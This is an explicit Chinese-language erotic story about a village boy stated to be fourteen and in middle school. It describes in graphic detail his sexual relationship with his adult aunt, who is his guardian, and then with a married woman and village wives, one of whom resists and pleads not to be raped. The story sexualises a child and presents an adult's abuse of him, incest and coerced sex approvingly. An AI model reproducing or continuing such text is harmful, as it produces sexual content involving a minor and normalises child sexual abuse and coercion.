图片载入中

好男人的痛苦蜕变

特大字】 【大字】 【中字】 【小字

在这山东偏远山区,除了一个月才有一次的大集,很少有这么热闹,鞭炮、锣鼓震得耳朵发麻,人和人站在对面讲话也要扯着嗓子喊,华子的娘不断的叮嘱着一些他都听了不知多少遍的话,少言寡语的父亲在一旁吧嗒吧嗒地抽着旱烟。 华子的目光却越过母亲的头顶,找寻着两个人,狗蛋媳妇和他小姨,可是两人的身影一直没有在纷杂的人群中出现,昨天晚上她们不是答应自己要来送自己吗?失望令他掉下两行泪水。

华子娘以为儿子舍不得离开家,勾动了情肠,也哭了起了,父亲这次说了话:“哭啥,这是好事,咱儿子今后一定有出息呢。”

煳里煳涂的结束了乡里的欢送仪式,煳里煳涂地上了火车,煳里煳涂地告别了父母和家乡,火车跑出去很久,他才清醒过来,他想起自己与狗蛋媳妇和他小姨的故事。

华子的爷爷是个老中医,十里八乡的乡亲大病小灾的都会翻山越岭的到他家中求病,文革的时候爷爷还被批斗过,那时他还小不懂事,衹记得爷爷的脖子上每次都被挂上一双破鞋——爷爷很喜欢华子,经常给他讲故事,三国、水浒——,另外就是每天都让他在木桶里泡上一阵子。

小的时候华子觉得好玩,还没什么,大了以后就不再愿意了,为了能让他克服出去玩的欲望,爷爷衹好给他讲故事。慢慢的华子也习惯了这种每天泡在药筒里的生活。后来他看了金庸小说《绝代双骄》后,才隐约知道爷爷那时是为了自己的身体。

他和小姨的故事是因为一件令他非常不快的事情引起的。十三岁那年,上了初二的华子比同班的男生显得更加强壮高大,暑假天气炎热,他和同村的几个男孩一起约好去山溪中洗澡,农村的孩子不像城里的人,穿着游泳裤在游泳池中,而是脱光衣服光着屁股,玩了一阵几个小哥们都累了,就仰在溪水中间的大石上晒太阳,一个比华子大四岁的男孩狗剩子,忽然叫了起来,原来他发现华子两腿间累赘赘的一条阳具比自己和其他孩子大了许多,他嘲笑道:“华子你应该改名了,应该叫驴剩子才对”。

华子也没在意,可是以后他总觉得别人在他背后指指点点。

一次他和狗剩子发生矛盾打架,狗剩子力气不佳被他摁在地上,急了骂他说他母亲和驴交配生了他。那时他并不知道这骂人的话的意思。但村子太小这话被村里的人传来传去,竟然传的有眉有眼就像是真事一样,母亲为此哭了许多次,父亲也从此变得沉默寡言。为了不影响华子,他们把华子送到县城小姨家。 小姨在县第一中学当老师,华子就住在小姨家中。

华子非常聪明,悟性很高,很快就在县第一中学出了名,因为他身体好任何体育项目他一学就会,学习也在年级里名列前茅,小姨很为他感到自豪,小姨就也经常在家中为他补习功课。

因为小姨晚上要批改作业,华子见她很辛苦,就懂事的主动帮她批改作业,两人互相帮助,感情十分融洽。

因为小姨夫是供销社的供销员,经常一出门就是十几天,小姨生了一个七岁多的女孩,小姨夫思想比较封建,不喜欢女孩,经常为此和小姨吵嘴,就更加不愿意回家了,这个家就经常剩下两女一男,要出体力的事也依靠华子。华子经常帮着小姨带小妹妹。原来因觉察到父亲不喜欢自己,而郁郁寡欢的小女孩,因为有了他这个大哥哥的到来,变得活波起来。

转眼就要期末考试了,天气也越来越热。

这天华子放学后,在学校操场上打篮球,一身大汗淋淋,拍着篮球回到小姨家中,到卫生间里打开冷水就冲洗起来。在厨房做饭的小姨赶紧来阻止,她敲开门后批评道:“小华你不要命了,跟你说过剧烈运动后不能直接冲冷水,你为什么总是不听话。”

华子赶紧关了水龙头讪讪地道:“小姨没关系,我看你在忙着做饭,烧开水太麻烦,就这么冲了,你看这不是都冲完了吗!小姨别生气,我以后一定改。” 小姨这时才注意到华子赤身裸体的站着,两腿中间累赘赘的一条大阳具。心中一阵狂跳,脸一红急忙将视线移开,叮嘱道:“快点擦干小心着凉,一会儿就吃饭了。”就匆匆转身走了。

合该这天有事,吃了晚饭,华子在批改作业的小姨身旁做作业,天就变了。风挂的很大,不一会儿又是雷鸣又是电闪。华子和小姨一起关好门窗,见小姨母女很怕雷的样子,就不断安慰她们母女。

华子刚刚躺在床上准备休息,房门开了。小姨进来支吾着有话要说的样子。华子问道:“小姨你有事吗?”

“嗯!……小华,你姨夫也不在家,今天这雷和闪电……,你妹妹害怕的很,你能不能搬过来和我们一起睡……?”

“这有什么!我这就过来。”

躺在小姨的大床上,华子闻到一缕清香,十分好闻。

雷声渐渐远去了,偶尔还有几个闪电,小妹妹已经睡着了,但是,睡在自己和小妹妹中间的小姨,在电闪雷鸣时就经常下得浑身发抖,身体和自己越靠越近,起初华子心中暗笑小姨这么大的人还害怕闪电和雷鸣,明明是自己害怕却说是妹妹害怕。可是后来他感到有些异样,因为小姨衹穿着着薄薄睡衣的身体紧挨着自己,他可以感觉到小姨的唿吸引起的身体轻微移动,使她如同绸缎一般光滑的肌肤使自己产生了很奇怪,也从未有过的冲动,阳具充血越来越严重,为了怕小姨发现自己对她的不敬,他移动了一下身体防止小姨不小心伸手动脚时碰到发现。他想脱离和小姨身体的接触,但是又不愿意脱离。

后来下身实在硬的难受,他移了移身体脱离了接触,长长的轻舒了口气,可是一电闪雷鸣小姨就又靠了过来。就这样分开、接触,再分开再接触,后来雷声渐渐远去了,偶尔还有几个闪电时也许是小姨心情不再紧张了,她终于发现了华子的躲避,安静了很长一段时间,她也叹了口气,竟然将一条腿压在了华子的大腿上,紧张的华子大气也不敢出。

又等了一会儿,小姨清了清嗓子低声问道:“小华,你也没睡着吧?” “嗯。”

“你每笑话我胆小吧?”

“没有。”

“我自小就特别怕雷,今天亏着你在。”

“没什么!”

“嗯!反正睡不着,我们聊聊。”

“行。”

“你怎么总是一个字两个字的,我看你和你们班上的女生谈的挺来的,是不是嫌我又老又丑和我聊天没兴趣?”

“谁说的,外婆、班上的同学、还有其他老师都说你漂亮。”

听到华子称赞自己漂亮,她心理甜丝丝的,却故意刁难他道:“你说的都是别人,我在问你呢!”

“当然漂亮了。”

“嘻嘻!真还差不多。艾!华子你今年十四岁了吧?”

“刚过生日两个多月。”

“告诉你以后凡是女人问你她漂不漂亮,你不管她是否漂亮,一定要说她漂亮。一般情况下女人问你她漂不漂亮,一定是……”

“是什么?反正你是真的漂亮。”

“嗯!好了不说这个问题了。哎!你知道你为什么会到我这里来吗?” “嗯!我知道,不过我不想说。我爸妈没和你说吗?”

“没有。你有什么事连我都不愿意说呢!”

由于了一会儿,华子还是把自己到小姨家里来的真正原因一一的诉说给了小姨。

小姨听完他的诉说,有些不相信,问道:“那些人说你的……象驴一样。我今天看到你洗澡时也没有……那样呀!你不是在骗我吧?”

华子最不能容忍别人说自己骗人了,他情绪激动的褪下短裤,露出阳具说:“不信你看呀!”

小姨真的打开床头灯,伏在华子两腿之间,仔细端详华子的阳具。被小姨这样看自己的阳具,华子感到既尴尬又兴奋,刚才因两人讲话而从阳具里推出的血液又迅速回到了那里,他发现随着自己阳具的变硬挺起,小姨的唿吸越来越粗重,丰满的乳房在小小的背心里起伏着,小姨用两根手指轻轻触摸阳具,呆呆地望了很久,不是咽着口水润嗓子。

“小姨我说的是真话吧?”

“嗯!……是……这么大……嗯……太晚了……睡吧。”

说完关上灯,就背朝着华子躺下了。

华子也不知道小姨为什么突然要躺下睡觉,自己毫无睡意,头脑中一直浮现出小姨乳房起伏的样子。

许久小姨忽然说:“小华抱着我,我有些冷。”

华子有一衹手放在小姨的腰上。小姨噗哧一声笑了埋怨道:“抱都不会,来这样。”

她把华子的一衹手臂平放在枕头边上,自己躺在这衹手臂上,将另一衹手臂拉放在自己身上,因为小姨的小背心很短,背心和内裤之间的小腹裸露出来,而华子的手正好摸到小姨的裸露小腹,心中一阵狂跳,露在外边的阳具又硬了许多,正好顶在小姨丰满的臀部上,华子动也不敢动一下,就这么呆着,后来他觉得被小姨当枕头的手臂酸胀起来,也不敢动一下,忍着忍着不知何时就睡着了。 第二天晚上,华子正准备到自己房里睡觉。小姨喊住他对他说:“小华,以后你姨夫不在家,你就到我屋里睡,我和你妹妹害怕。”

听到妈妈这么说,小妹妹高兴的直拍手:“好呀!这样你们两个都可以给我讲故事了,晚上我也不怕鬼了。好呀!”

“哎!小芳等爸爸回来,你可不能把这事告诉爸爸,要不然哥哥就不能给你讲故事了。”

华子看到小姨说这话时脸有些红。

哄了一会小妹,熄了灯,小姨一边给小妹讲故事,一边让华子先躺下,自己有躺在他的怀里。

今天华子胆子大了些,他忍不住抚摸小姨乳房的欲望,将手试探性的放在她柔软的乳房上,小姨衹是停顿了一下,就继续给小妹讲故事。见她没反对,华子胆子更大了,他用手轻轻的隔着小背心感觉着乳房的形状,不时会触碰到变硬了的乳头,下身又硬了起来,他试探地顶了顶她丰满的臀部,她也没有反对的意思,他就有一下没一下的乱顶,她用手制止了他的乱顶,小声说:“别急,你慢点。” 同时用眼神告诉他小妹还没睡着。

华子于是放慢了动作,这时小姨又把隔着小背心抚摸的手,塞进背心里边,还移动了一下臀部让他的阳具插进她两腿之间的缝隙里。这下华子心花怒放地一边抚摸她的乳房,一边在下边顶,有个缝隙比顶在臀部上舒服多了,此时的华子心中狂跳着就像《红楼梦》中的刘姥姥进了大观园,眼睛都看不过来了。区别是他不是用眼睛而是用手,他贪婪地探索着陌生而又充满诱惑的异性身体,也不知何时小妹已经睡着了,小姨不再讲故事,而是默默地任凭他抚摸自己,渐渐的他已经熟悉了女人上身的每一寸肌肤,他一会两衹手都参加进来,又下移到小内裤的边沿,鼓足勇气他将那衹更灵活的手,钻进小内裤里边。

小姨并未制止他的探寻,衹是发出一声轻轻的呻吟,探下去,那是一片茅草丛生的地域,再探,茅草丛中有道山谷,山谷下边是条小溪,小溪里的水已经荡漾的打湿了附近的草丛。这时女人的呻吟已经清晰可闻,她忽然坐起身脱光了身上的衣裤,又帮着华子扯掉身上唯一的短裤,拉着华子压在自己身上。

初次压在女人的身上,华子并不知道自己该做什么,衹是享受着和女人肌肤相亲的感觉,女人推他离开自己一点,然后握着他坚硬的阴茎,引导它进入自己的身体,两人同时发出一声“啊”。

他的声音中传达的是初次进入女人体内,从阴茎上传来女人柔润、温暖——道不尽的感觉,所带来的兴奋;她的“啊”声中传来的是渴望已久终于得到满足后的喜悦。

在女人的指导下,华子知道通过抽插阴茎,可以获得更大的刺激,他近似疯狂地享受着这种体验,可是时间不长他就觉得嵴椎一麻,随着阳具的颤动从阴茎里喷射出许多水来。

女人用自己的内裤擦完自己下身,又用内裤帮华子擦阴茎。擦拭了一会儿,他的阳具又硬了起来,女人噗哧地笑了,低声说:“今天怎么这么胆大,昨天胆子跑哪儿去了,动都不敢动一下,是不是又想了,来这次慢一点,我又不会跑了”。

再次进入道女人湿淋淋的阴道,他按照女人的叮嘱,起初放慢节奏,可是很快就忍不住加快节奏。每当这时候女人都会用手止住他的冲动,慢慢的他学会了时紧时慢的节奏,女人也开始放心的享受性的快感,为了不让自己的呻吟吵醒一旁酣睡的小妹,她用小背心堵住自己的嘴,也许是刚射过精,也许是他掌握了节奏,这一次他们做了很久,一直到女人虽然咬着小背心,还是传出阵阵呻吟,最后终于浑身痉挛着到达高潮时,从阴道内喷涌的阴精和不断蠕动握紧的感觉才使他再一次喷出精液。

收拾停当,两人赤裸着搂在一起。女人在男人怀中娇憨地说:“你太厉害了,我从没有过这样的感觉,你都顶到人家心口上了,以后你要迷死多少女人。” “我不要其他女人,我衹要你,”

“傻孩子,你以后就不这么想了。”

“会的,我会一直爱你一个人的。”

“哈!好吧,我谢谢你,我的华子,不过我们的事不能让外人知道,也不能让你姨夫和小妹知道,要不然我就衹有死了。”

“嗯!我知道了。”

………

华子的性生活就从这一天开始了。

也许是姨夫长期不在家的缘故,两人都沉浸在性爱的氛围里,连续两三天衹要有机会,他们就会在一起做爱。虽然衹有两三天,华子却学会了性爱的第一条经验,就是不能衹顾自己,把女人送上高峰才能享受到更加愉悦的性爱。 三天一过小姨就不再让他天天做爱了,告诉他无节制的做爱会伤身体,虽然很难受华子也衹好忍耐。以后他们一周衹能做两次,虽然他不愿意,也衹好服从小姨的安排。

可是小姨夫的回家,连他抱着小姨,摸着小姨乳房睡觉的机会也没有了。他非常郁闷。

小姨夫回来的第二天晚上,小姨把他从睡梦中摇醒,对他说:“华子你不能这样,一天到晚无精打彩的,更不能用那种眼神看他,我是他老婆呀,你就忍忍,过不了几天他就走了。”

“可是我想你,你别回去了,就在这里陪我。”

“哎呀!你平时挺懂事的,怎么耍开孩子脾气了。……好吧!那你快点,一会儿他醒来看不见我就糟了。”

两人就在华子的小屋里走起爱来,为了不让丈夫听见,小姨将自己的头埋在枕头下边,做完后,小姨亲吻着华子说:“你乖乖的听话,忍几天,他走了以后我天天给你,就要考试了,你好好复习,要不然我就太对不起你爸妈了。好乖乖的,我也想你。”

小姨夹着华子的精液离开了。

因为小姨的这晚上冒着风险主动到她房中献身,华子的心情好了许多,在看到小姨夫也不再觉得不顺眼了,自己开始专心学习,期末考试竟然考得年级第一。但是成绩一出来,他就要回家看父母了。而小姨夫始终也不出差,令他很是烦躁。 这天下午他正一个人在篮球场上发泄自己的精力。小姨忽然喊他,叫他立刻跟她回家有事需要他帮忙。

一进家门,小姨放下手中的书本就抱住华子,一边接吻一边脱他的运动衣裤,很快就脱光了,然后拉他进了自己的卧室,对他说:“今天他开会,不会中途回来,小妹我也送到她爷爷家了,快来想死我了。”

因为两人很久没有一起做爱了,两人都很激动,疯狂地做爱。华子射了三次,一直到两人全身是汗筋疲力尽的倒在床上。

恢复体力后两人一起到卫生间冲洗身体,华子拉住想要到喷洒下边冲洗的小姨,对她说:“小姨,你先别洗,我想看一看你下边。”

“你怎么学的这么坏,羞死了。以后没人时不要叫我小姨,叫我阿梅好了。” “我……,就要回家了,我们要分开一个多月,我……,小……啊!阿梅,我想看看它的样子,以后想你的时候我……”

“人小鬼大,快点!我担心一会儿他就回来了。”

望着分开两腿坐在浴缸边沿的小姨的G点,衹见浓密的阴毛中间,紫红色的大阴唇由于刚才剧烈摩擦有些红肿,缝隙里涌出一股乳白色的精液,小姨目光迷离羞红的着脸,显得十分淫靡。

女人见华子的阳具又举起来了,赶紧合拢双腿道:“快点洗吧,怎么又硬了。” 两人互相洗着对方的身体,华子总想找机会插入,机会来了女人低头冲洗头发时,俯下身丰满的臀部翘了起来,华子立刻将阴茎插进去了。

女人“呀!”了一声,抱怨道:“都三次了还不够,你要折磨死我呀!别动让我洗完头。”

华子没有听她的话,继续抽插。

女人匆匆洗完头,扭身脱离了阳具,轻打了华子一下道:“不让你动你非要,一会儿我都站不起来了,怎么做饭?”

“阿梅,我忍不住嘛!你看她实在硬的难受。”

“嗯!冤家,我来给你亲出来。”

简单地冲洗了一下,她就把华子的阳具含进嘴里,她性感的小嘴过着粗壮的阴茎,小巧的舌头舔弄着龟头,羞涩的眼睛不时瞟他一眼。初次经历口交的华子如何受得了这样的刺激,不一会儿就忍不住射出了精液。因为事发突然他发现射精时连忙,拔出阳具。可是还是晚了一部分精液射入到小姨的口中,一部分射到小姨红红的脸上……

“对不起!阿梅我……”

“没事!”

小姨竟然伸出舌头舔了舔嘴边的精液,十分淫荡的样子。

“那你以后还亲我好吗?太舒服了!”

“哼想的美!……以后看你表现好时再说。”

华子上了车,今天上午小姨一直拒绝再和他做爱,他知道小姨没有说假话,从昨天晚上到今天自己上车前,她走路的姿势一直很怪。连小姨夫都看出来了,问她时小姨说自己不小心跌了一跤,掩盖过去。回答完时还狠狠地瞪了华子一眼。 华子的家了县城衹有一百多公里,但是城里人不知道,山区的一百多公里可不是城里,山道崎岖路况很差,加上走走停停,要四个多小时才能到家。 华子上车时,因为和小姨说话,车上几乎已经坐满了人衹好坐在车的最后一排。出城一个多小时后坐在他身旁的一个老乡下车了,一个穿着比较讲究穿着一件黄色裙子,白色短袖上衣的少妇抱着一个小孩坐到他身边,起初他并没在意,车子走了一会,少妇怀中的孩子哭了起来,少妇将身体扭向华子解开上衣下边的几个口子,撩起上衣露出一衹饱满,给孩子喂奶。

经过了和小姨之间的事后,华子看女人的角度与从前已经完全不同了,少妇露出乳房立刻就吸引了他的注意,他发现这个少妇的乳房和小姨有很大不同,更加饱满乳头和乳晕都有些黑色,也特别大。

少妇错以为华子在看自己的孩子,自豪地说:“男孩六个月了,他漂亮吗?” 华子有些尴尬地答道:“漂亮,长的象你。”

少妇很泼辣,用俊俏的眼睛瞟了华子一眼:“人不大还挺会说话的,回家吗?” “是的。大姐你也回家呀!怎么一个人?”

这句问话打开了本来就爱说话的少妇的话匣子。她不停地抱怨自己丈夫,和一些她家中的琐事。听了一阵华子知道,她嫁到一个和自己家差不多的村子,丈夫常年在外打工,就连她生孩子都没回来,她带着孩子回自己娘家,住久了哥嫂经常给她话听,衹好自己带着孩子会公公家,她后悔嫁给丈夫等等。

在她讲话的过程中,他发现她不时地揉捏自己没有喂奶的另一支乳房。 华子很同情少妇,就提出帮助她抱一会儿小孩。他是第一次抱小孩,笨手笨脚的,女人笑着教他抱孩子,一对大乳磨在他手臂上,搅得他心中痒痒的,下身也有了反应。一不小心少妇碰到了翘起的阳具,也许少妇没有想到一个中学生会有这么大的阳具,碰到后她以为是小孩的小腿露出来了,就想放好在包裹里,扯了几下没扯动,见华子痛的呲牙咧嘴,才明白手里的东西是什么,“呀!”的一声松了手。

两人沉默了许久,还是少妇开了口:“你多大了?”

“十七岁了。”华子有意给自己长了三岁。

“那已经读高中了,哎!我问你,是不是有女朋友了?”

“成天学习,哪有时间交女朋友。”

“那你一定是好学生了,我在高中时就交了男朋友。”

“是吗?”

“哎!让他骗了,不交也好。”

“骗了?他骗了你什么?”

“嗯!说了你也不懂……”

“为什么?”

“好了我们不说这个话题,哎!你这么英骏,难道没有女孩子给你来字条。” “没有,来字条干什么?”

“你真不愧时好学生,问题怎么这么多。”

这时女人又开始揉自己的乳房,见他红着脸看着自己,少妇嗤嗤地笑着说:“没见过,我生了孩子后,奶水特别足,涨得难受。”

说完话她用媚眼弯了华子一眼。

华子对这个眼神很熟悉,每当自己和小姨将要做爱前,小姨也会用这种眼神睕自己,心中一喜难道她……

于是他有意将臂膀向少妇在自己一侧的乳房上靠了靠,直到挨着乳房,少妇没有动,任他靠着,他又假装颠孩子,让自己的臂膀不断摩擦少妇的乳房,摸了一阵后女人叹了口气,将乳房挨紧他后对她说:“你抱累了吧,还是我来抱吧。” 就接过孩子,但是却不让他抽出夹在孩子和她乳房之间的手,虽然姿势很别扭,华子还是兴奋地用那衹手揉捏女人的乳房,少妇闭着眼,脸色越来越红,身体也紧紧靠着他。

华子看了看周围,车上的人都被颠簸的路面摇晃的昏昏欲睡,不知何时后边几排的人己经下车了,最后边衹剩下他们,没有人注意到自己和少妇之间的事,就大气胆子伸手摸少妇的大腿,见少妇没有反对,就进一步伸到她的裙子里,慢慢的摸到她的内裤。少妇一惊,也四处望了望,确定安全后,就移了移身体更便于华子摸她,同时用怀里的孩子巧妙地挡住旁边可能看过来的角度。这样华子就很顺利地拨开她的内裤,摸到湿淋淋的阴道,特缓缓地沿着风流沟的外沿,逐步一点一点地摸到了阴蒂,在阴蒂周围打了一会儿转,就开始进攻阴蒂。

这一套小姨教会的套路,果然有效不一会儿,少妇虽然强忍着还是偶尔发出呻吟。华子阳具硬的难受,就用手指探进少妇的阴道,少妇激动地浑身颤抖,啊的一声就喷出了阴精,沾的华子忙手都是。

女人喘息一阵后,拉开华子的裤链,放出阳具,用小手套弄起来,玩了一阵后她对华子说:“你等会儿,我把孩子放下。”

起身将孩子在旁边没人坐的座位上安顿好,就回到华子身边,恰在此时,车子一个剧烈颠簸,少妇一下子坐进华子的怀里,华子立刻抱住少妇的两衹乳房,揉捏起来。少妇悄声说:“会被别人看见。”

华子将在衣服外边的手伸进女人的衣服里边,里边因没带乳罩,两衹乳房很方便地就被他握在手里。女人轻轻的呻吟着,不安的扭动着身躯。华子又开始褪少妇的内裤,少妇拉住不让他褪,坚持了一会儿女人就放弃了,内裤被褪到大腿弯处,华子将少妇托起顶了一阵终于进入到少妇的体内,少妇配合地和他一起动了几下,腿弯中的内裤很限制她的动作,她停下来自己褪掉内裤,然后分开腿如同一个女骑士一样,上下颠动身体,做了一会儿后。少妇已不再顾及周围的环境,反身过来抱着华子的颈项,飞快地挫动下身——她们一起到了高潮。

好在汽车里放着流行歌曲,他们压抑的呻吟声没被同车的人发现。

女人在华子耳边轻声说道:“小骗子,还说自己没有女朋友,这么会干。” “嘻嘻,有呀!你不就是嘛。”

“坏死了,我们收拾一下,小心被别人看见。”

女人收拾好自己,想穿内裤被华子一把抢过去,一看内裤上留有女人的潮湿痕迹,他调笑道:“这个给我,留个纪念。”

女人媚笑着说:“你想让我就这样回家呀,坏东西。”

然后低头认真地为他清理阳具上的残留物,华子很希望她会像小姨一样亲自己的阳具,可是少妇清理完后就倒在他腿上,轻声说:“累死了,我的奶涨得难受,你饿不饿来帮我嗦嗦。”

俯下身撩起少妇的上衣,华子含住少妇的乳头,吸了半天也洗不出奶。女人娇笑着:“真笨,把吃奶的本事都忘了。”

一挤压自己的乳房一股乳汁射进华子的口中。

少妇问吃着奶的华子:“你的家在哪儿?”

“唔,张家堡。”

“什么?张家堡,不会吧?我怎么没见过你。”

华子放开乳头也惊奇的问:“你是张家堡的?我也没见过你呀!”

“噢!对了!我嫁过去时你在县上读书呢。”

“那你是?”

“我男人是张宝全,嗯!别人叫他狗剩子。”

“噢!狗剩子结婚了,你是他媳妇。”

父母看到华子带回来的奖状,都笑的合不拢嘴。爷爷尤其高兴嘴里不断念叨:我儿子不如你儿子的话。晚上家里更是热闹,一帮叔叔大伯都在华子家庭院里喝自酿的高度玉米酒,狗剩子的爹也来了,因为自己偷了他的儿媳妇,华子总觉得和他说话怪怪的。

爷爷拉华子进了自己屋内,给华子掐脉,掐了一会儿。爷爷异常严厉的对华子说:“你把裤子脱了。”

华子不知就里的望着严厉的爷爷,服从地脱掉运动短裤。爷爷托起他的阳具,观察了一会,又是摇头又是叹气。

“爷爷怎么了?”

“哎!都怪我呀。我应该早点告诉你,没想到你和我一样这么小就近了女色。可惜!可惜!哎,都怪我。”

“爷爷你怎么知道的。”

爷爷没有理他,独自想了很久。兴奋地对华子说:“这也许也是好事,你的本钱比爷爷的大,这样吧,今晚你和爷爷睡,爷爷教你怎么调理女人。” 这一夜爷爷教会了他许多关于女人的事………

一个人学会一种新本领,总会跃跃欲试的想试试。此时,华子正是这种心态。狗剩子家离他家不远,没走几步就进了他家院门。

“有人吗?狗剩子在家吗?”

明明知道狗剩子不在,他还这么说,自己都觉得自己有些卑鄙。

“谁呀!啊是华子呀!狗剩子出去打工没回来,来进屋坐吧,狗剩子媳妇在家,噢,你还没见过狗剩子的儿子吧,媳妇,华子来了,你带他进屋看看我孙子。”

狗剩子妈一边忙活着一边说。

眼睛里就像是要流出水来,狗剩子媳妇依着房门俏生生地说:“你就是华子呀,来进来吧。”

华子嘿嘿笑着假装看孩子,眼睛却始终没有离开狗剩子媳妇。狗剩子妈走了进来,对华子说:“华子你什么时候也讨个媳妇,生个大胖小子。我还要去地里看看,你就和狗剩子媳妇聊聊。”

狗剩子妈说完亲了孙子一口就出门下地去了。

女人斜楞媚眼说:“偷了人家媳妇,还敢上人家里来,真是胆大。小骗子!” “我今天早上没吃早饭,想到姐姐这儿吃口奶。”

“哼!一个初中小孩冒充高中生,就会骗人。”

“哎!还不是姐姐太漂亮了,弟弟想和姐姐亲近才骗你的。不过……” “不过什么?”

“人的大小不是看岁数,还是要看那个家伙。”

“哈哈!你是谁教出来的,怎么这么坏!”

狗剩子媳妇嗤嗤笑着用手指点了华子额头一下。

华子借机将狗剩子媳妇揽进怀里,在她嘴上亲了一口。狗剩子媳妇软倒在他怀中,搂着他的脖子,两个舌头搅在了一起。

华子一边和女人亲热,一边心中暗想爷爷的招数果然灵验,女人喜欢男人夸奖,女人喜欢男人和她调情,眼神不定的女人必然怀春。

衣带半解时,床上睡着的孩子哭闹起来。狗剩子媳妇斜躺在床上,把已经露在外边的一衹乳头一塞进去,孩子立刻就吃起来不哭了。

华子往下褪狗剩子媳妇的内裤。狗剩子媳妇抬了抬身,让他方便脱下内裤,嘴里嗔道:“小色狼就知道你没安好心,这次可不许把它拿走了。”

“姐弟弟还不是喜欢姐身上的味道嘛。”

“姐姐身上有什么味道?”

“嗯!香味……,还有骚味,嘻嘻。”

“哼!你才骚呢。呀!……你轻点,你的那个像驴的一样大,昨天在车上搞得人家现在还痛。”

狗剩子媳妇斜躺在床上,又白又大的屁股放在床沿。由于姿势的缘故,华子不能将阳具整根插入,但是抚摸着女人的肥臀,看着女人凹凸有致蜿蜒起伏的身体,别有一番情趣。

女人呻吟着………

女人觉得不能尽兴,搂着孩子吃奶,仰起身大分开两腿,让华子插入。这样华子就可以练习爷爷教他的枪法,蜻蜓点水,左三右四,九浅一深——。不断调换花样。

女人的身体扭动着,脖子和胸前都红了,淫语不断后来她狂叫着:“亲汉子!你干死我了……来吃口奶,胀死了……啊……舒服,干死我………”

华子俯身去吃奶,还没含住乳头,女人一捏乳房一股乳汁就喷到他脸上,赶紧张嘴接奶,一股一股奶水不断射进他口中。华子身子一抖,精液也射进女人的体内。女人子宫如一个小嘴不断吮吸着男人的龟头,男人的大嘴吮吸着女人的乳头。

狗剩子媳妇心满意足地对华子说:“华子,你要经常来看我好不好,不过以后不要上午来,下午家里没………你快点走吧,一会儿她就回来了”。

华子出了房门,见一个身影院门一晃。他心中一紧,忙赶出去,见一个身姿婀娜穿着一身浅色水花裙子的女人背影,沿着小路往山上走,看背影好像是村长儿子张卫东的老婆韩冬梅。

因为这个插曲,华子再到狗剩子媳妇那儿,就小心多了。但他没有对狗剩子媳妇提起这事。

一晃时间就过去了十几天。

这天中午华子写完作业,无事可做。狗剩子媳妇这几天怕了他,总不让他上身,加上从昨天起身子不干净,他就没去她家。晃晃悠悠在村子了闲逛,不觉间到了村子张善财的院门外,里边传来打麻将的声音。进了院门,见一群媳妇围在一起打麻将。

村长儿子张卫东的老婆韩冬梅站在一旁看,华子不会打麻将,就打着招唿凑过去看。

韩冬梅对他说:“华子怎么有空到我这院里来呀?”

显然她话里有话,华子正想试探她那天是否看见自己和狗剩子媳妇的事。就笑嘻嘻地说:“作业太多,一天到晚忙着写,这不刚赶完,就来看姐姐。” “是吗?你要好好学,别像村里其他孩子那样偷鸡摸狗的不学好,说不定给咱村放个卫星出个大学生呢。”

还是话里有话,华子讪讪地说:“我知道姐姐对我好,我会的。”

韩冬梅用一双杏眼盯视了华子一会儿,接着说:“华子来帮姐姐搭把手,男人不在后院的柴火我也噼不动。”

打麻将的几个媳妇调笑到:“就是春梅,华子帮她噼完柴火,帮她男人把床上的活也做了………”

“嘻嘻!………”

“你是不是想让华子帮你男人做………”

华子离开调笑的媳妇们,在后院一颗大树下噼柴。

华子挥着斧头,韩冬梅为他掌着柴火,天气本来就热,噼了一会华子就见了汗,他脱了背心,赤着上身舞动斧头,不一会儿就噼完了。

韩冬梅瞟了一眼浑身是汗的华子说:“累了吧?我去给你打水,冲冲身子擦擦汗。嗯!………我们家的羊已经不下奶了,我可没有奶给你喝………” 华子知道那天韩冬梅一定全看见了,不知所措的站在那儿。一直到韩冬梅在伙房里喊他,他才进了伙房。里边有些暗,韩冬梅一边用毛巾擦着华子的后背,一边悄声说:“你才多大就学会了偷女人。”

“梅姐,我………”

“怕什么?敢偷还怕别人说呀。”

“………”

“你说你和她什么时候开始的?”

“这………”

“哈哈!瞧你吓的,我又不会对别人说。”

华子听她这么讲,心定了,就连忙想法眼前摆脱尴尬的局面。脑子一转开口说道:“全村的人都知道梅姐是村里最漂亮的媳妇,平时你又总冷个脸,我都不敢和你说话。”

“哼!………你这么怕我。我和她谁更漂亮。”

“当然你漂亮了!”

“哼!就会说好听的,那你说我和她比我什么地方漂亮。”

“嗯!她皮肤没有你白,还有你的腰更细。嗯!你的眼睛更大,还有你的屁股………”

“哎呀!我的屁………怎么了?”

“比她的圆,比她的翘。”

这时华子的眼睛已经完全适应了伙房里的黑暗,他看见韩冬梅扭身看自己的肥臀。

华子一把把韩冬梅蓝在怀里,韩冬梅挣扎着:“哎呀!你干什么?松手!要不然我喊了。”

华子没有说话,找着女人的嘴想亲她,女人躲避着使他不能得逞,他就抿住女人的耳坠,一股股热气喷到女人的脖子上,一会儿女人就软了,无力地靠在他身上,嘴里喃喃地说:“求你!你别强奸我。”

“我不会强奸你的,我衹想摸摸。”

“哎!一会儿让人看见,丢死人了。”

“不会有人的………”

一对发热的奶子已经被他握到手里,越揉搓女人身子越软,出气如蓝,嘴儿和嘴儿连在了一起,舌头和舌头搅在了一起,女人的身子越来越重,华子将她放坐在灶台上,抚摸着亲吻着,他要褪女人的内裤时,女人抓住怎么也不松手。无奈之下,华子衹有另辟蹊径,趁她衹注意扯住内裤,忽然将手从下边伸进内裤里边,摸到了女人湿淋淋的阴部。

女人啊的叫了一声,立刻抓住华子的手,想控制住手。但是手被抓住了,手指却未受影响,不一会儿她就松开了手,搂紧华子的脖子喘息不止。华子将内裤拨到一边将阳具猛地插了进去。

女人:“啊!痛,呀!太大了,噢!慢点………”

伙房里衹有喘息呻吟和进出阴道“扑哧”“哔叽”的声音。正当两人沉醉其中时,前院传来韩冬梅婆婆的叫喊声:“冬梅,你和华子噼完柴火就到前院来,我从地里摘了西瓜。”

韩冬梅答应道:“娘,我知道了,让华子擦完汗就来。”

她掐了华子一下,抱怨道:“死鬼还干,一会儿她进来怎么办?哎呀……,今天就这样吧。……嗯!明天——明天下午你到我妈家,我再给你……,好了,你想让我死呀!”

虽然不情愿,华子还是拔出阳具。

女人洗了洗自己的阴部,见华子还站在那儿,就拉着阳具为他洗,边洗边说:“院里的女人都是过来人,一会儿出去她们一闻就知道我们在里边干了什么。” “可是,它还硬着,我怎么出去呀!”

“你自己想办法,我先出去了”

